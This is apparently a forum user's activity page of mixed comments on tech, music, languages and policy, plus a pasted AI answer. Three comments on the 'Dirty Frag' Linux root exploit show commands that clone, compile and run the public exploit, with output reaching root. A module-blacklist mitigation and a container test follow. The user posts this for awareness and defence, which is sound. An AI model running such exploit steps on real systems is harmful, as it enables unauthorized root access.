goose's recent activity
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Comment on Introducing Googlebook, designed for Gemini Intelligence in ~tech
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Comment on Introducing Googlebook, designed for Gemini Intelligence in ~tech
goose LinkFrom the tag line: The tagline immediately tells me that Google is testing the water to see how they could do with a direct competitor to the Apple laptop line. I'm fairly anti-Apple, and while...From the tag line:
We’re introducing Googlebook, designed for Gemini Intelligence. These new laptops are built with Gemini’s helpfulness at their core, premium hardware and work seamlessly with Android phones.
The tagline immediately tells me that Google is testing the water to see how they could do with a direct competitor to the Apple laptop line. I'm fairly anti-Apple, and while I'm not explicitly pro-Google, I love my Pixel phone, and some of the services I get from Google, but I'm not here to sell or defend them -- they do shitty things just like so many other major companies seem to.
But no part of me wants anything to do with this product. For what I've used it for, Gemini has been fine, but the results often leave more to be desired. I've switched almost exclusively to Claude for when I want help with code or Linux related tasks. And selectively using Gemini in a Firefox container for what and when I want to is plenty enough for me, I don't have faith at all that building it "at [it's] core" is going to produce the results they're trying to sell here.
I look forward to seeing posted on here in 3 years that this product line has joined the Google graveyard.
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Comment on How Rockstar fit an entire city into PlayStation 2 memory in ~games
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Comment on “Rediscovering” the operating system (AKA: the desktop is the killer app) in ~tech
goose Link ParentYup! Hence why there's still a demand for the original Google Pixel, for people wanting to use SyncThing and take advantage of the promotion of "Free photo storage for life" for photos and videos...Yup! Hence why there's still a demand for the original Google Pixel, for people wanting to use SyncThing and take advantage of the promotion of "Free photo storage for life" for photos and videos uploaded from that device.
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Comment on “Rediscovering” the operating system (AKA: the desktop is the killer app) in ~tech
goose Link ParentI believe this has to do with the way permissions are managed on mobile devices, not just for iOS, but for Android as well. I'm going to analog Android as that's what I know, but the principle is:...For instance, it is to the best of my understanding strictly impossible to view "My Photos" through the Files app; Photos is the only way to see them.
I believe this has to do with the way permissions are managed on mobile devices, not just for iOS, but for Android as well. I'm going to analog Android as that's what I know, but the principle is:
Each app is only allowed to store data in its own "App folder" on the host filesystem. With Android, if I want to use a generic file explorer app to view the data of other apps/in other places on the filesystem, I have to explicitly grant it permission (through the OS) to do so. The ideology is combating apps from being able to look at things they have no business looking at. For example, by implementing this, the Facebook app is not allowed by default to view all the photos/videos (and other files) on one's device. Similarly, if I wanted to upload a photo to the Facebook app that I took, Android is going to ask if I want to allow Facebook to view all my photos, or just specific one(s).
The drop-off of my knowledge is how iOS does (or doesn't?) allow specific apps OS level permission to look in folders other than "their own" on the host filesystem. But in any case, the enhanced privacy offered by this methodology outweighs the drawbacks, in my opinion.
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Comment on Red Hot Chili Peppers sell music catalogue for $300m in ~music
goose Link ParentA part of me wonders if this is a precursor to someone(s) wanting to "retire"?A part of me wonders if this is a precursor to someone(s) wanting to "retire"?
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Comment on Tildes Survey #4: What languages can you speak? in ~talk
goose Link ParentOh, we've had this conversation before. I just didn't recognize your username posting from mobile (I've got you taged "French Friend" in Tildes ReExtended). My dad describes French Canadians as...Oh, we've had this conversation before. I just didn't recognize your username posting from mobile (I've got you taged "French Friend" in Tildes ReExtended).
My dad describes French Canadians as "Lovely people, but they say the weirdest literal English translations. If you say 'Merci', instead of 'De rien' they will reply 'Bienvenue!' "
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Comment on Tildes Survey #4: What languages can you speak? in ~talk
goose Link ParentBetween you and Hegseth, that's twice this year I've seen a Pulp Fiction reference!Between you and Hegseth, that's twice this year I've seen a Pulp Fiction reference!
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Comment on Tildes Survey #4: What languages can you speak? in ~talk
goose Link ParentBut which version of French? My (native French) father describes Canadian French as "the weirdest use of the French language [he has] ever heard in [his] life".But which version of French? My (native French) father describes Canadian French as "the weirdest use of the French language [he has] ever heard in [his] life".
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Comment on WIFI APs and other network stuff in ~comp
goose LinkCan't speak to the products you've mentioned, but I've been on UniFi/Ubiquiti gear for about 6 years now, and currently have no regrets. I did experience some buggy issues early on, 2021/2022, but...Can't speak to the products you've mentioned, but I've been on UniFi/Ubiquiti gear for about 6 years now, and currently have no regrets. I did experience some buggy issues early on, 2021/2022, but I can't remember the last time I had to power cycle the gear or troubleshoot an issue, it's pretty rock solid now in my experience. I particularly like the single pane of glass approach, and that my cameras are all local, I'm not feeding them to Amazon or elsewhere. They've made great strides in the prosumer market, with some great bang for your buck hardware. A lot of good deals can be had on used gear as well, half my homelab I bought used.
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Comment on How long would a society comprised of video game protagonists survive? in ~games
goose Link ParentSometimes I like to compare their output to my own thoughts. In this case, I didn't have a great mental concept of the idea, so I wanted to see what it would say. Sorry my response is unwanted to...Sometimes I like to compare their output to my own thoughts. In this case, I didn't have a great mental concept of the idea, so I wanted to see what it would say. Sorry my response is unwanted to you, though. I specifically hid that part in a
<details>tag to avoid that, but I suppose no reply would have been better. -
Comment on How long would a society comprised of video game protagonists survive? in ~games
goose LinkThis is exactly the kind of question I love to plug in to LLM AI. While some people use it for writing papers, trying to trade stocks, or "stealing [your] job", my favorite LLM prompt I've given...This is exactly the kind of question I love to plug in to LLM AI. While some people use it for writing papers, trying to trade stocks, or "stealing [your] job", my favorite LLM prompt I've given it to date is:
Homelander vs. Superman vs. Captain Marvel vs. Goku in a four way free for all, who wins? Tell me the story.
Gemini gave me a pretty good response, if anyone cares to read it:
A society comprised entirely of video game protagonists would be an absolute spectacle—and a total disaster. While these individuals are capable of slaying gods and toppling empires, they are famously terrible at maintaining a stable tax code or a functioning sewage system.
Here is a breakdown of why this civilization would likely collapse within a few weeks (or potentially last forever in a state of glorious, buggy chaos).1. The Infrastructure Paradox
Protagonists are designed to interact with the world, not build it.
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The Labor Gap: You have 10,000 "Chosen Ones" and zero people willing to be the shopkeeper who stays open 24/7.
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Property Damage: If 20% of the population is Link, every ceramic pot in the city will be smashed within the first hour. If another 20% are from Grand Theft Auto, the insurance premiums for parked cars would exceed the global GDP.
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Physics Defiance: The city would be full of people trying to "double jump" onto rooftops or "glitch" through walls to find secret chests, leading to significant structural instability.
2. Hyperinflation and Economic Ruin
The economy would implode instantly. Most protagonists operate on a Loot-Based Economy:
Economic Factor Result in Protagonist Society Currency Origin Everyone expects to find gold coins by killing local wildlife or breaking crates. Supply Chain No one produces goods; everyone just "finds" them in abandoned houses. Vendor Stress If a shopkeeper exists, they will be sold 400 rusted iron daggers and 5,000 wolf pelts in a single afternoon. 3. Social Dynamics: Main Character Syndrome
In a world where everyone is the "Legendary Hero," social cohesion becomes impossible.
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The Quest Giver Scarcity: Protagonists generally don't move unless prompted by an exclamation point over someone’s head. Without a working class of NPCs to tell them to "find 10 herbs," the heroes would simply stand around in the town square waiting for the plot to happen.
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Resource Depletion: In a standard RPG, a hero can eat 50 wheels of cheese in 0.5 seconds to regain health. A society of protagonists would trigger a global dairy shortage by dinner time.
4. The "Respawn" Factor (The Survival Loop)
The duration of this society depends entirely on the Game Over mechanics:
Scenario A: Permadeath
If they only have one life, the society lasts 48 hours. Protagonists are fundamentally reckless. They jump off cliffs to see if there’s an invisible ledge and walk into fire because they think they might be "immune."
Scenario B: Respawning
If they can respawn, the society lasts forever, but it becomes a post-apocalyptic wasteland. Since no one can actually die, they would spend eternity in a perpetual, high-octane battle for the last remaining "Power-Up," rebuilding and destroying the same three city blocks for all of time.
The Final Verdict
A society of video game protagonists would survive for approximately two weeks before the lack of quest-givers and the total destruction of the town's pottery supply leads to a civil war.
It wouldn't end because they died; it would end because the "server" (their social fabric) crashed from too many people trying to perform a "glitch" at the same time.Which video game protagonist do you think would be the most likely to actually try and lead a functioning government?
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Comment on What have you been listening to this week? in ~music
goose Link ParentOh man, Trapt was the first concert I ever bought tickets to, back at Atlanta's old (now demolished) Coca Cola Roxy, back in 2004 or 2005? Banger of a show. I loved that album back in the day....Oh man, Trapt was the first concert I ever bought tickets to, back at Atlanta's old (now demolished) Coca Cola Roxy, back in 2004 or 2005? Banger of a show. I loved that album back in the day. I'll still go back to it once a year or so, but none of the stuff they released since has really clicked for me. I've also heard, but haven't researched to verify, that the band has turned in to hardcore ass hats over the last decade.
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Comment on What have you been listening to this week? in ~music
goose LinkRediscovered a favorite album of mine from 2015, Men Amongst Mountains, by The Revivalists. I love the groove and sound, I find it to be particularly enjoyable as an album to put on while I'm...Rediscovered a favorite album of mine from 2015, Men Amongst Mountains, by The Revivalists. I love the groove and sound, I find it to be particularly enjoyable as an album to put on while I'm cooking. Lots of good songs on the album, but I'd pick out Stand Up as my current favorite.
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Comment on US will revoke passports for parents who owe child support in ~society
goose Link ParentI agree. It's not a policy I necessarily would have supported, but I'm not against it either, I'm rather ambivalent considering the context. Owing over $100,000 in child support is a pretty big...I agree. It's not a policy I necessarily would have supported, but I'm not against it either, I'm rather ambivalent considering the context. Owing over $100,000 in child support is a pretty big threshold. While I personally have never had to pay child support, the people I have known who have/who do were paying roughly $8,000-10,000 per year.
To agree with @teaearlgraycold I have concerns about the precedent this could open the door to for other actions. But this specific action, while I find surprising, doesn't upset me as much as other policy choices have.
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Comment on Dirty Frag, an exploit which can obtain root privileges on major Linux distributions in ~tech
goose Link ParentYes and no. Your attack surface is reduced, but depending on what services you may have that interface externally (web apps), the low level user space access those use could be a route for the...Yes and no. Your attack surface is reduced, but depending on what services you may have that interface externally (web apps), the low level user space access those use could be a route for the exploit.
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Comment on Dirty Frag, an exploit which can obtain root privileges on major Linux distributions in ~tech
goose Link ParentSome good news, the fix proposed in the repo (blacklist the relevant modules): sh -c "printf 'install esp4 /bin/false\ninstall esp6 /bin/false\ninstall rxrpc /bin/false\n' >...Some good news, the fix proposed in the repo (blacklist the relevant modules):
sh -c "printf 'install esp4 /bin/false\ninstall esp6 /bin/false\ninstall rxrpc /bin/false\n' > /etc/modprobe.d/dirtyfrag.conf; rmmod esp4 esp6 rxrpc 2>/dev/null; true"Does seem to patch it for me:
[goose@Vergil: ~/test/dirtyfrag ] $ ./exp dirtyfrag: failed (rc=1) [goose@Vergil: ~/test/dirtyfrag ] $Additionally, and fortunately, I'm unable to exploit this from inside a (Docker) container. Not to say that it can't be done, but my Docker is fairly default, and (appears to be) not vulnerable:
[goose@Vergil: ~ ] $ docker run --rm -it nginx:latest sh # apt-get update -qq && apt-get install -y gcc git [truncated for brevity] # git clone https://github.com/V4bel/dirtyfrag.git /tmp/df Cloning into '/tmp/df'... remote: Enumerating objects: 26, done. remote: Counting objects: 100% (26/26), done. remote: Compressing objects: 100% (20/20), done. remote: Total 26 (delta 9), reused 23 (delta 6), pack-reused 0 (from 0) Receiving objects: 100% (26/26), 5.83 MiB | 26.87 MiB/s, done. Resolving deltas: 100% (9/9), done. # gcc -O0 -Wall -o /tmp/exp /tmp/df/exp.c -lutil # chmod +x /tmp/exp # su -s /bin/sh nginx -c "/tmp/exp" dirtyfrag: failed (rc=3) # -
Comment on Dirty Frag, an exploit which can obtain root privileges on major Linux distributions in ~tech
goose LinkFor the general awareness of other Linux hosts. Verified it as an valid on my Debian host: [goose@Vergil: ~/test ] $ uname -a Linux Vergil.goose.ws 6.18.15+deb13-amd64 #1 SMP PREEMPT_DYNAMIC...For the general awareness of other Linux hosts. Verified it as an valid on my Debian host:
[goose@Vergil: ~/test ] $ uname -a Linux Vergil.goose.ws 6.18.15+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.18.15-1~bpo13+1 (2026-03-12) x86_64 GNU/Linux [goose@Vergil: ~/test ] $ git clone https://github.com/V4bel/dirtyfrag.git Cloning into 'dirtyfrag'... remote: Enumerating objects: 26, done. remote: Counting objects: 100% (26/26), done. remote: Compressing objects: 100% (20/20), done. remote: Total 26 (delta 9), reused 23 (delta 6), pack-reused 0 (from 0) Receiving objects: 100% (26/26), 5.83 MiB | 21.85 MiB/s, done. Resolving deltas: 100% (9/9), done. [goose@Vergil: ~/test ] $ cd dirtyfrag [goose@Vergil: ~/test/dirtyfrag ] $ gcc -O0 -Wall -o exp exp.c -lutil [goose@Vergil: ~/test/dirtyfrag ] $ ./exp # echo $UID # pwd /home/goose/test/dirtyfrag # whoami root # printenv TERM=xterm PWD=/home/goose/test/dirtyfrag # w 16:31:20 up 14 days, 10:16, 2 users, load average: 2.36, 2.85, 3.58 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT goose pts/1 192.168.2.101 16:30 0.00s 0.14s ? ./exp goose pts/0 192.168.2.101 06:00 1:16m 3.33s 0.03s sh # -
Dirty Frag, an exploit which can obtain root privileges on major Linux distributions
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Comment on Valve has released CAD files for the Steam Controller in ~games
goose Link ParentI really hope that when Gabe feels the need to step down one day, his successor has the same vision and values that he does. My Steam account is the oldest account I have, and at this rate, it's...I really hope that when Gabe feels the need to step down one day, his successor has the same vision and values that he does. My Steam account is the oldest account I have, and at this rate, it's going to stay that way.
The thing that holds me back from actually being willing to try one of their laptop products is productivity.
While I don't use it, the Google Docs suite is pretty compatible to MS Office, and I can get all the extensions I need through it. But outside of that, not everything I use is a browser app, and I don't want an upscaled ported mobile version through the Play Store.
For example, the mobile app version of BeerSmith is hot garbage, I tried it, but it just doesn't hold a candle to the desktop version. The Adobe suite, my CAD program, Steam, Battle.net, and Notepad++, to name a few, are programs I want to have the same full range of motion that they do on my (Windows) desktop. Not to mention things like the lockdown browser I'm required to use for exams in the program I'm enrolled in right now. These are "needs" for me, not "wants".
I think if Google offered some kind of deal with developers, along the lines of "Develop a version of your program that works on our devices, and we'll pay you an extra $20 for every copy of it that sells for the first 5,000 copies", or some kind of incentive like that, then I could see motivation for those programs to expand to Google's platform, and I'd be willing to give it a try.